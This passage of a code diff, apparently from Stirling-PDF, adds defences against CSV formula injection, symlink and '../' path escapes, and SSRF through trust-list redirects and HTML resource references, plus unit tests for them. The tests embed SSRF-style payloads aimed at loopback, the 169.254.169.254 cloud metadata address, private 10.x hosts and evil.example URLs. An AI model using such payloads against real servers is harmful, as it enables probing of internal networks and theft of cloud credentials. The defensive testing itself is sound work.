@@ -184,7 +185,11 @@ public class FormFillController {
|
||||
csvWriter.writeNext(header);
|
||||
|
||||
for (FormUtils.FormFieldInfo field : fields) {
|
||||
csvWriter.writeNext(new String[] {field.name(), field.value()});
|
||||
csvWriter.writeNext(
|
||||
new String[] {
|
||||
CsvUtils.neutraliseFormula(field.name()),
|
||||
CsvUtils.neutraliseFormula(field.value())
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+46
-9
@@ -132,7 +132,7 @@ public class PipelineDirectoryProcessor {
|
||||
// Skip root directory and "processing" subdirectories
|
||||
if (!dir.equals(watchedFolderPath)
|
||||
&& !"processing".equals(dirName)) {
|
||||
handleDirectory(dir);
|
||||
handleDirectory(dir, watchedFolderPath);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
log.error("Error handling directory: {}", dir, e);
|
||||
@@ -155,7 +155,7 @@ public class PipelineDirectoryProcessor {
|
||||
}
|
||||
}
|
||||
|
||||
public void handleDirectory(Path dir) throws IOException {
|
||||
public void handleDirectory(Path dir, Path watchedRoot) throws IOException {
|
||||
// Normalize path to absolute to prevent duplicate processing from different path
|
||||
// representations
|
||||
Path normalizedDir = dir.toAbsolutePath().normalize();
|
||||
@@ -176,7 +176,7 @@ public class PipelineDirectoryProcessor {
|
||||
}
|
||||
Path jsonFile = jsonFileOptional.get();
|
||||
PipelineConfig config = readAndParseJson(jsonFile);
|
||||
processPipelineOperations(dir, processingDir, jsonFile, config);
|
||||
processPipelineOperations(dir, processingDir, jsonFile, config, watchedRoot);
|
||||
}
|
||||
|
||||
private Path createProcessingDirectory(Path dir) throws IOException {
|
||||
@@ -201,10 +201,11 @@ public class PipelineDirectoryProcessor {
|
||||
}
|
||||
|
||||
private void processPipelineOperations(
|
||||
Path dir, Path processingDir, Path jsonFile, PipelineConfig config) throws IOException {
|
||||
Path dir, Path processingDir, Path jsonFile, PipelineConfig config, Path watchedRoot)
|
||||
throws IOException {
|
||||
for (PipelineOperation operation : config.getOperations()) {
|
||||
validateOperation(operation);
|
||||
File[] files = collectFilesForProcessing(dir, jsonFile, operation);
|
||||
File[] files = collectFilesForProcessing(dir, jsonFile, operation, watchedRoot);
|
||||
if (files.length == 0) {
|
||||
log.debug("No files detected for {} ", dir);
|
||||
return;
|
||||
@@ -229,7 +230,8 @@ public class PipelineDirectoryProcessor {
|
||||
}
|
||||
}
|
||||
|
||||
private File[] collectFilesForProcessing(Path dir, Path jsonFile, PipelineOperation operation)
|
||||
private File[] collectFilesForProcessing(
|
||||
Path dir, Path jsonFile, PipelineOperation operation, Path watchedRoot)
|
||||
throws IOException {
|
||||
|
||||
List<String> inputExtensions =
|
||||
@@ -289,7 +291,7 @@ public class PipelineDirectoryProcessor {
|
||||
return true;
|
||||
})
|
||||
.map(Path::toAbsolutePath)
|
||||
.filter(path -> true)
|
||||
.filter(path -> isInsideWatchedRoot(path, dir, watchedRoot))
|
||||
.map(Path::toFile)
|
||||
.toArray(File[]::new);
|
||||
log.info(
|
||||
@@ -300,6 +302,27 @@ public class PipelineDirectoryProcessor {
|
||||
}
|
||||
}
|
||||
|
||||
// Symlinks stay allowed, but only while their real target is still inside the watched root or
|
||||
// the scanned folder itself, so a link to an arbitrary server file is never picked up.
|
||||
boolean isInsideWatchedRoot(Path path, Path dir, Path watchedRoot) {
|
||||
try {
|
||||
Path realPath = path.toRealPath();
|
||||
if (realPath.startsWith(watchedRoot.toRealPath())
|
||||
|| realPath.startsWith(dir.toRealPath())) {
|
||||
return true;
|
||||
}
|
||||
log.warn(
|
||||
"Skipping '{}': it resolves to '{}', outside the watched folder {}",
|
||||
path,
|
||||
realPath,
|
||||
watchedRoot);
|
||||
return false;
|
||||
} catch (IOException e) {
|
||||
log.warn("Skipping unresolvable path '{}': {}", path, e.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private List<File> prepareFilesForProcessing(File[] files, Path processingDir)
|
||||
throws IOException {
|
||||
List<File> filesToProcess = new ArrayList<>();
|
||||
@@ -437,7 +460,7 @@ public class PipelineDirectoryProcessor {
|
||||
return outputFileName;
|
||||
}
|
||||
|
||||
private Path determineOutputPath(PipelineConfig config, Path dir) {
|
||||
Path determineOutputPath(PipelineConfig config, Path dir) {
|
||||
String outputDir =
|
||||
WATCHED_FOLDERS_PATTERN
|
||||
.matcher(
|
||||
@@ -445,7 +468,21 @@ public class PipelineDirectoryProcessor {
|
||||
.replace("{outputFolder}", finishedFoldersDir)
|
||||
.replace("{folderName}", dir.toString()))
|
||||
.replaceAll("");
|
||||
return Path.of(outputDir).isAbsolute() ? Path.of(outputDir) : Path.of(".", outputDir);
|
||||
Path candidate = Path.of(outputDir);
|
||||
if (candidate.isAbsolute()) {
|
||||
return candidate;
|
||||
}
|
||||
// Anchor relative output dirs under the finished folders base so "../" cannot escape it
|
||||
Path base = Path.of(finishedFoldersDir).toAbsolutePath().normalize();
|
||||
Path resolved = base.resolve(candidate).normalize();
|
||||
if (!resolved.startsWith(base)) {
|
||||
log.warn(
|
||||
"Configured outputDir '{}' resolves outside '{}', writing to the base instead",
|
||||
outputDir,
|
||||
base);
|
||||
return base;
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
|
||||
private void deleteOriginalFiles(List<File> filesToProcess, Path processingDir)
|
||||
|
||||
+93
-12
@@ -45,6 +45,7 @@ import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.common.service.ServerCertificateServiceInterface;
|
||||
import stirling.software.common.service.SsrfProtectionService;
|
||||
|
||||
@Service
|
||||
@Slf4j
|
||||
@@ -67,10 +68,14 @@ public class CertificateValidationService {
|
||||
private KeyStore signingTrustAnchors; // AATL/EUTL + server cert for PDF signing
|
||||
private final ServerCertificateServiceInterface serverCertificateService;
|
||||
private final ApplicationProperties applicationProperties;
|
||||
private final SsrfProtectionService ssrfProtectionService;
|
||||
|
||||
// EUTL (EU Trusted List) constants
|
||||
private static final String NS_TSL = "http://uri.etsi.org/02231/v2#";
|
||||
|
||||
// Redirects are followed by hand, so the SSRF guard runs again on every hop
|
||||
private static final int MAX_TRUST_LIST_REDIRECTS = 3;
|
||||
|
||||
// Qualified CA service types to import as trust anchors (per ETSI TS 119 612)
|
||||
private static final Set<String> EUTL_SERVICE_TYPES =
|
||||
new HashSet<>(
|
||||
@@ -97,6 +102,7 @@ public class CertificateValidationService {
|
||||
ApplicationProperties applicationProperties) {
|
||||
this.serverCertificateService = serverCertificateService;
|
||||
this.applicationProperties = applicationProperties;
|
||||
this.ssrfProtectionService = new SsrfProtectionService(applicationProperties);
|
||||
}
|
||||
|
||||
@PostConstruct
|
||||
@@ -513,12 +519,10 @@ public class CertificateValidationService {
|
||||
private byte[] downloadTrustList(String urlStr) {
|
||||
HttpURLConnection conn = null;
|
||||
try {
|
||||
URL url = URI.create(urlStr).toURL();
|
||||
conn = (HttpURLConnection) url.openConnection();
|
||||
conn.setRequestMethod("GET");
|
||||
conn.setConnectTimeout(10_000);
|
||||
conn.setReadTimeout(30_000);
|
||||
conn.setInstanceFollowRedirects(true);
|
||||
conn = openTrustListConnection(urlStr);
|
||||
if (conn == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
int code = conn.getResponseCode();
|
||||
if (code == HttpURLConnection.HTTP_OK) {
|
||||
@@ -541,6 +545,85 @@ public class CertificateValidationService {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Open a connection to a trust list URL, following redirects manually so the SSRF guard runs on
|
||||
* every hop. Returns null when a hop is rejected or the redirect budget is exhausted.
|
||||
*/
|
||||
private HttpURLConnection openTrustListConnection(String urlStr) throws IOException {
|
||||
String currentUrl = urlStr;
|
||||
for (int hop = 0; hop <= MAX_TRUST_LIST_REDIRECTS; hop++) {
|
||||
if (!isTrustListUrlAllowed(currentUrl)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
URL url = URI.create(currentUrl).toURL();
|
||||
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
|
||||
conn.setRequestMethod("GET");
|
||||
conn.setConnectTimeout(10_000);
|
||||
conn.setReadTimeout(30_000);
|
||||
conn.setInstanceFollowRedirects(false);
|
||||
|
||||
String location = redirectLocation(conn);
|
||||
if (location == null) {
|
||||
return conn;
|
||||
}
|
||||
conn.disconnect();
|
||||
currentUrl = URI.create(currentUrl).resolve(location).toString();
|
||||
}
|
||||
log.warn("Trust list download exceeded {} redirects: {}", MAX_TRUST_LIST_REDIRECTS, urlStr);
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Location header of a redirect response, or null when the response is not a redirect. */
|
||||
private String redirectLocation(HttpURLConnection conn) throws IOException {
|
||||
int code = conn.getResponseCode();
|
||||
boolean redirect =
|
||||
code == HttpURLConnection.HTTP_MOVED_PERM
|
||||
|| code == HttpURLConnection.HTTP_MOVED_TEMP
|
||||
|| code == HttpURLConnection.HTTP_SEE_OTHER
|
||||
|| code == 307
|
||||
|| code == 308;
|
||||
if (!redirect) {
|
||||
return null;
|
||||
}
|
||||
String location = conn.getHeaderField("Location");
|
||||
return (location == null || location.isBlank()) ? null : location.trim();
|
||||
}
|
||||
|
||||
/**
|
||||
* TSL locations come from a remote XML document, so they get the same SSRF treatment as any
|
||||
* other externally-supplied URL.
|
||||
*/
|
||||
private boolean isTrustListUrlAllowed(String urlStr) {
|
||||
URI uri;
|
||||
try {
|
||||
uri = URI.create(urlStr);
|
||||
} catch (IllegalArgumentException e) {
|
||||
log.warn("Trust list URL is not a valid URI: {}", urlStr);
|
||||
return false;
|
||||
}
|
||||
|
||||
String scheme = uri.getScheme() == null ? "" : uri.getScheme().toLowerCase(Locale.ROOT);
|
||||
if (!"http".equals(scheme) && !"https".equals(scheme)) {
|
||||
log.warn("Trust list URL rejected, only http(s) is fetched: {}", urlStr);
|
||||
return false;
|
||||
}
|
||||
|
||||
String host = uri.getHost();
|
||||
if (host == null || host.isBlank()) {
|
||||
log.warn("Trust list URL rejected, no host: {}", urlStr);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ssrfProtectionService.isUrlAllowed(urlStr)) {
|
||||
log.warn(
|
||||
"Trust list URL rejected by SSRF protection (system.html.urlSecurity): {}",
|
||||
urlStr);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse AATL PDF, extract the embedded "SecuritySettings.xml", and import CA certs. Returns the
|
||||
* number of newly-added CA certificates.
|
||||
@@ -705,12 +788,10 @@ public class CertificateValidationService {
|
||||
private byte[] downloadXml(String urlStr) {
|
||||
HttpURLConnection conn = null;
|
||||
try {
|
||||
URL url = URI.create(urlStr).toURL();
|
||||
conn = (HttpURLConnection) url.openConnection();
|
||||
conn.setRequestMethod("GET");
|
||||
conn.setConnectTimeout(10_000);
|
||||
conn.setReadTimeout(30_000);
|
||||
conn.setInstanceFollowRedirects(true);
|
||||
conn = openTrustListConnection(urlStr);
|
||||
if (conn == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
int code = conn.getResponseCode();
|
||||
if (code == HttpURLConnection.HTTP_OK) {
|
||||
|
||||
+149
@@ -8,6 +8,7 @@ import static org.mockito.Mockito.lenient;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
@@ -16,6 +17,8 @@ import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.List;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
|
||||
import org.apache.pdfbox.pdmodel.PDDocument;
|
||||
import org.apache.pdfbox.pdmodel.PDPage;
|
||||
@@ -47,6 +50,7 @@ import stirling.software.common.util.OfficeDocumentSanitizer;
|
||||
import stirling.software.common.util.ProcessExecutor;
|
||||
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
|
||||
import stirling.software.common.util.ProcessExecutor.Processes;
|
||||
import stirling.software.common.util.SvgSanitizer;
|
||||
import stirling.software.common.util.TempFile;
|
||||
import stirling.software.common.util.TempFileManager;
|
||||
import stirling.software.common.util.WebResponseUtils;
|
||||
@@ -66,6 +70,7 @@ class ConvertOfficeControllerTest {
|
||||
@Mock private RuntimePathConfig runtimePathConfig;
|
||||
@Mock private CustomHtmlSanitizer customHtmlSanitizer;
|
||||
@Mock private OfficeDocumentSanitizer officeDocumentSanitizer;
|
||||
@Mock private SvgSanitizer svgSanitizer;
|
||||
@Mock private EndpointConfiguration endpointConfiguration;
|
||||
@Mock private TempFileManager tempFileManager;
|
||||
|
||||
@@ -77,6 +82,7 @@ class ConvertOfficeControllerTest {
|
||||
runtimePathConfig,
|
||||
customHtmlSanitizer,
|
||||
officeDocumentSanitizer,
|
||||
svgSanitizer,
|
||||
endpointConfiguration,
|
||||
tempFileManager);
|
||||
}
|
||||
@@ -450,6 +456,149 @@ class ConvertOfficeControllerTest {
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("content sniffing dispatch")
|
||||
class ContentSniffing {
|
||||
|
||||
@Test
|
||||
@DisplayName("html uploaded as .doc is routed through the html sanitizer")
|
||||
void htmlUploadedAsDoc() throws Exception {
|
||||
when(customHtmlSanitizer.sanitize(anyString())).thenReturn("<html>clean</html>");
|
||||
|
||||
byte[] written =
|
||||
convertCapturingInput(
|
||||
file(
|
||||
"report.doc",
|
||||
"<!DOCTYPE html><html><body>"
|
||||
+ "<img src=\"http://evil.example/x\"></body></html>"));
|
||||
|
||||
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<html>clean</html>");
|
||||
Mockito.verify(customHtmlSanitizer).sanitize(anyString());
|
||||
Mockito.verifyNoInteractions(svgSanitizer);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("flat ODF uploaded as .doc is routed through the flat-xml sanitizer")
|
||||
void flatOdfUploadedAsDoc() throws Exception {
|
||||
String flat =
|
||||
"<?xml version=\"1.0\"?><office:document"
|
||||
+ " xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\""
|
||||
+ " xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\""
|
||||
+ " xmlns:xlink=\"http://www.w3.org/1999/xlink\">"
|
||||
+ "<draw:image xlink:href=\"http://evil.example/x.png\"/>"
|
||||
+ "</office:document>";
|
||||
when(officeDocumentSanitizer.sanitizeFlatXml(any(byte[].class)))
|
||||
.thenReturn("<office:document/>".getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
byte[] written = convertCapturingInput(file("report.doc", flat));
|
||||
|
||||
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<office:document/>");
|
||||
Mockito.verify(officeDocumentSanitizer).sanitizeFlatXml(any(byte[].class));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("svg uploaded as .txt is routed through the svg sanitizer")
|
||||
void svgUploadedAsTxt() throws Exception {
|
||||
String svg =
|
||||
"<svg xmlns=\"http://www.w3.org/2000/svg\">"
|
||||
+ "<image href=\"http://evil.example/x.png\"/></svg>";
|
||||
when(svgSanitizer.sanitize(any(byte[].class)))
|
||||
.thenReturn("<svg/>".getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
byte[] written = convertCapturingInput(file("evil.txt", svg));
|
||||
|
||||
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<svg/>");
|
||||
Mockito.verify(svgSanitizer).sanitize(any(byte[].class));
|
||||
Mockito.verifyNoInteractions(customHtmlSanitizer);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("real docx zip is still sanitized as a zip container")
|
||||
void realDocxZipStillSanitized() throws Exception {
|
||||
byte[] docx = minimalOoxmlZip();
|
||||
when(officeDocumentSanitizer.sanitizeZipContainer(any(byte[].class)))
|
||||
.thenAnswer(inv -> inv.getArgument(0));
|
||||
|
||||
byte[] written = convertCapturingInput(docxFile(docx));
|
||||
|
||||
assertThat(written).isEqualTo(docx);
|
||||
Mockito.verify(officeDocumentSanitizer).sanitizeZipContainer(any(byte[].class));
|
||||
Mockito.verify(officeDocumentSanitizer, Mockito.never())
|
||||
.sanitize(any(byte[].class), anyString());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("csv, txt and rtf pass through to LibreOffice untouched")
|
||||
void plainFormatsPassThroughUntouched() throws Exception {
|
||||
assertPassesThrough("data.csv", "a,b,c\n1,2,3\n");
|
||||
assertPassesThrough("notes.txt", "just some text\n");
|
||||
assertPassesThrough("memo.rtf", "{\\rtf1\\ansi hello}");
|
||||
|
||||
Mockito.verifyNoInteractions(customHtmlSanitizer);
|
||||
Mockito.verifyNoInteractions(svgSanitizer);
|
||||
Mockito.verify(officeDocumentSanitizer, Mockito.never())
|
||||
.sanitize(any(byte[].class), anyString());
|
||||
Mockito.verify(officeDocumentSanitizer, Mockito.never())
|
||||
.sanitizeZipContainer(any(byte[].class));
|
||||
Mockito.verify(officeDocumentSanitizer, Mockito.never())
|
||||
.sanitizeFlatXml(any(byte[].class));
|
||||
}
|
||||
|
||||
private void assertPassesThrough(String filename, String content) throws Exception {
|
||||
byte[] written = convertCapturingInput(file(filename, content));
|
||||
assertThat(written).isEqualTo(content.getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
}
|
||||
|
||||
private static MockMultipartFile file(String filename, String content) {
|
||||
return new MockMultipartFile(
|
||||
"fileInput",
|
||||
filename,
|
||||
"application/octet-stream",
|
||||
content.getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
|
||||
private static byte[] minimalOoxmlZip() throws IOException {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
try (ZipOutputStream zos = new ZipOutputStream(baos)) {
|
||||
zos.putNextEntry(new ZipEntry("[Content_Types].xml"));
|
||||
zos.write("<Types/>".getBytes(StandardCharsets.UTF_8));
|
||||
zos.closeEntry();
|
||||
}
|
||||
return baos.toByteArray();
|
||||
}
|
||||
|
||||
/** Runs a conversion and returns the exact bytes LibreOffice was handed. */
|
||||
private byte[] convertCapturingInput(MockMultipartFile inputFile) throws Exception {
|
||||
when(endpointConfiguration.isGroupEnabled("Unoconvert")).thenReturn(false);
|
||||
when(endpointConfiguration.isGroupEnabled("Python")).thenReturn(false);
|
||||
byte[][] captured = new byte[1][];
|
||||
try (MockedStatic<ProcessExecutor> pe = Mockito.mockStatic(ProcessExecutor.class)) {
|
||||
ProcessExecutorResult result = mockExecutor(pe, 0);
|
||||
ProcessExecutor executor = ProcessExecutor.getInstance(Processes.LIBRE_OFFICE);
|
||||
when(executor.runCommandWithOutputHandling(any(List.class)))
|
||||
.thenAnswer(
|
||||
inv -> {
|
||||
List<String> command = inv.getArgument(0);
|
||||
Path inputPath = Path.of(command.get(command.size() - 1));
|
||||
captured[0] = Files.readAllBytes(inputPath);
|
||||
String name = inputPath.getFileName().toString();
|
||||
Path out =
|
||||
inputPath
|
||||
.getParent()
|
||||
.resolve(
|
||||
name.substring(0, name.lastIndexOf('.'))
|
||||
+ ".pdf");
|
||||
Files.writeString(out, "%PDF sniffed");
|
||||
return result;
|
||||
});
|
||||
|
||||
File pdf = controller.convertToPdf(inputFile);
|
||||
deleteWorkdir(pdf);
|
||||
}
|
||||
return captured[0];
|
||||
}
|
||||
|
||||
private static void deleteWorkdir(File producedPdf) throws IOException {
|
||||
if (producedPdf != null && producedPdf.getParentFile() != null) {
|
||||
org.apache.commons.io.FileUtils.deleteDirectory(producedPdf.getParentFile());
|
||||
|
||||
+126
-1
@@ -1,6 +1,8 @@
|
||||
package stirling.software.SPDF.controller.api.converters;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -18,6 +20,7 @@ import org.mockito.quality.Strictness;
|
||||
import stirling.software.common.configuration.RuntimePathConfig;
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.common.service.CustomPDFDocumentFactory;
|
||||
import stirling.software.common.service.SsrfProtectionService;
|
||||
import stirling.software.common.util.TempFileManager;
|
||||
|
||||
/**
|
||||
@@ -33,6 +36,7 @@ class ConvertWebsiteToPDFExtraTest {
|
||||
@Mock private CustomPDFDocumentFactory pdfDocumentFactory;
|
||||
@Mock private RuntimePathConfig runtimePathConfig;
|
||||
@Mock private TempFileManager tempFileManager;
|
||||
@Mock private SsrfProtectionService ssrfProtectionService;
|
||||
|
||||
private ConvertWebsiteToPDF sut;
|
||||
|
||||
@@ -43,7 +47,8 @@ class ConvertWebsiteToPDFExtraTest {
|
||||
pdfDocumentFactory,
|
||||
runtimePathConfig,
|
||||
new ApplicationProperties(),
|
||||
tempFileManager);
|
||||
tempFileManager,
|
||||
ssrfProtectionService);
|
||||
}
|
||||
|
||||
private boolean containsDisallowed(String html) throws Exception {
|
||||
@@ -54,6 +59,14 @@ class ConvertWebsiteToPDFExtraTest {
|
||||
return (boolean) m.invoke(sut, html);
|
||||
}
|
||||
|
||||
private boolean containsBlockedResource(String html) throws Exception {
|
||||
Method m =
|
||||
ConvertWebsiteToPDF.class.getDeclaredMethod(
|
||||
"containsBlockedResourceReference", String.class, String.class);
|
||||
m.setAccessible(true);
|
||||
return (boolean) m.invoke(sut, html, "https://example.com/page.html");
|
||||
}
|
||||
|
||||
private String percentDecode(String content) throws Exception {
|
||||
Method m = ConvertWebsiteToPDF.class.getDeclaredMethod("percentDecode", String.class);
|
||||
m.setAccessible(true);
|
||||
@@ -129,6 +142,118 @@ class ConvertWebsiteToPDFExtraTest {
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("containsBlockedResourceReference")
|
||||
class BlockedResourceReference {
|
||||
|
||||
@Test
|
||||
@DisplayName("null and empty content are allowed")
|
||||
void nullAndEmpty() throws Exception {
|
||||
assertThat(containsBlockedResource(null)).isFalse();
|
||||
assertThat(containsBlockedResource("")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a relative image on an allowed host passes")
|
||||
void relativeImageAllowed() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
|
||||
assertThat(containsBlockedResource("<img src=\"/assets/logo.png\">")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a relative image is resolved against the page base url before checking")
|
||||
void relativeImageResolvedAgainstBase() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed("https://example.com/assets/logo.png"))
|
||||
.thenReturn(false);
|
||||
assertThat(containsBlockedResource("<img src=\"assets/logo.png\">")).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("an absolute resource rejected by the SSRF service blocks the conversion")
|
||||
void blockedAbsoluteResource() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
|
||||
assertThat(containsBlockedResource("<img src=\"http://169.254.169.254/latest/\">"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a stylesheet link is checked as well as images")
|
||||
void stylesheetLinkChecked() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
|
||||
assertThat(
|
||||
containsBlockedResource(
|
||||
"<link rel=\"stylesheet\" href=\"http://127.0.0.1/a.css\">"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a css url() reference is checked")
|
||||
void cssUrlChecked() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
|
||||
assertThat(containsBlockedResource("<style>body{background:url('http://10.0.0.1/x')}"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a bare @import is checked")
|
||||
void cssImportChecked() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
|
||||
assertThat(containsBlockedResource("<style>@import \"http://10.0.0.1/x.css\";</style>"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName(
|
||||
"a non-http scheme is rejected by the allowlist without consulting the service")
|
||||
void nonHttpSchemeRejected() throws Exception {
|
||||
assertThat(containsBlockedResource("<img src=\"ftp://files.example.com/x.png\">"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("an entity-obfuscated scheme is decoded before the allowlist check")
|
||||
void obfuscatedSchemeRejected() throws Exception {
|
||||
assertThat(containsBlockedResource("<img src=\"gopher://x/\">")).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("data uris and fragments are allowed")
|
||||
void dataUriAndFragmentAllowed() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
|
||||
assertThat(
|
||||
containsBlockedResource(
|
||||
"<img src=\"data:image/png;base64,AAAA\">"
|
||||
+ "<rect fill=\"url(#grad)\"/>"))
|
||||
.isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("srcset descriptors are stripped before checking")
|
||||
void srcsetDescriptorsStripped() throws Exception {
|
||||
// only the bare url is stubbed, so a retained '1x' descriptor would fail the check
|
||||
when(ssrfProtectionService.isUrlAllowed("https://example.com/a.png")).thenReturn(true);
|
||||
assertThat(containsBlockedResource("<img srcset=\"/a.png 1x\">")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("each distinct host is checked once")
|
||||
void distinctHostsChecked() throws Exception {
|
||||
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
|
||||
when(ssrfProtectionService.isUrlAllowed("http://10.0.0.1/b.png")).thenReturn(false);
|
||||
assertThat(
|
||||
containsBlockedResource(
|
||||
"<img src=\"/a.png\"><img src=\"http://10.0.0.1/b.png\">"))
|
||||
.isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("anchor hrefs are not treated as fetched resources")
|
||||
void anchorHrefIgnored() throws Exception {
|
||||
assertThat(containsBlockedResource("<a href=\"mailto:someone@example.com\">mail</a>"))
|
||||
.isFalse();
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("percentDecode")
|
||||
class PercentDecode {
|
||||
|
||||
+79
-2
@@ -42,6 +42,7 @@ import stirling.software.SPDF.model.api.converters.UrlToPdfRequest;
|
||||
import stirling.software.common.configuration.RuntimePathConfig;
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.common.service.CustomPDFDocumentFactory;
|
||||
import stirling.software.common.service.SsrfProtectionService;
|
||||
import stirling.software.common.util.GeneralUtils;
|
||||
import stirling.software.common.util.ProcessExecutor;
|
||||
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
|
||||
@@ -95,13 +96,14 @@ public class ConvertWebsiteToPdfTest {
|
||||
when(runtimePathConfig.getWeasyPrintPath()).thenReturn("/usr/bin/weasyprint");
|
||||
when(pdfDocumentFactory.load(any(File.class))).thenReturn(new PDDocument());
|
||||
|
||||
// Build SUT
|
||||
// Build SUT with the real SSRF service so the shipped defaults are exercised
|
||||
sut =
|
||||
new ConvertWebsiteToPDF(
|
||||
pdfDocumentFactory,
|
||||
runtimePathConfig,
|
||||
applicationProperties,
|
||||
tempFileManager);
|
||||
tempFileManager,
|
||||
new SsrfProtectionService(applicationProperties));
|
||||
|
||||
// Provide RequestContext for ServletUriComponentsBuilder
|
||||
MockHttpServletRequest req = new MockHttpServletRequest();
|
||||
@@ -352,4 +354,79 @@ public class ConvertWebsiteToPdfTest {
|
||||
&& location.getQuery().contains("error=error.disallowedUrlContent"));
|
||||
}
|
||||
}
|
||||
|
||||
private void assertRejectedForContent(String html) throws Exception {
|
||||
UrlToPdfRequest request = new UrlToPdfRequest();
|
||||
request.setUrlInput("https://example.com");
|
||||
|
||||
try (MockedStatic<GeneralUtils> gu = Mockito.mockStatic(GeneralUtils.class);
|
||||
MockedStatic<HttpClient> httpClient = mockHttpClientReturning(html)) {
|
||||
|
||||
gu.when(() -> GeneralUtils.isValidURL("https://example.com")).thenReturn(true);
|
||||
gu.when(() -> GeneralUtils.isURLReachable("https://example.com")).thenReturn(true);
|
||||
|
||||
ResponseEntity<?> resp = sut.urlToPdf(request);
|
||||
|
||||
assertEquals(HttpStatus.SEE_OTHER, resp.getStatusCode());
|
||||
URI location = resp.getHeaders().getLocation();
|
||||
assertNotNull(location, "Location header expected");
|
||||
assertTrue(
|
||||
location.getQuery() != null
|
||||
&& location.getQuery().contains("error=error.disallowedUrlContent"));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void redirect_with_error_when_resource_targets_loopback() throws Exception {
|
||||
assertRejectedForContent("<img src=\"http://127.0.0.1:9000/secret.png\">");
|
||||
}
|
||||
|
||||
@Test
|
||||
void redirect_with_error_when_stylesheet_targets_cloud_metadata() throws Exception {
|
||||
assertRejectedForContent(
|
||||
"<link rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\">");
|
||||
}
|
||||
|
||||
@Test
|
||||
void redirect_with_error_when_css_url_targets_private_network() throws Exception {
|
||||
assertRejectedForContent("<style>body{background:url('http://10.1.2.3/x.png')}</style>");
|
||||
}
|
||||
|
||||
@Test
|
||||
void redirect_with_error_when_resource_uses_non_http_scheme() throws Exception {
|
||||
assertRejectedForContent("<img src=\"ftp://files.example.com/x.png\">");
|
||||
}
|
||||
|
||||
@Test
|
||||
void data_uri_and_same_host_resources_are_still_converted() throws Exception {
|
||||
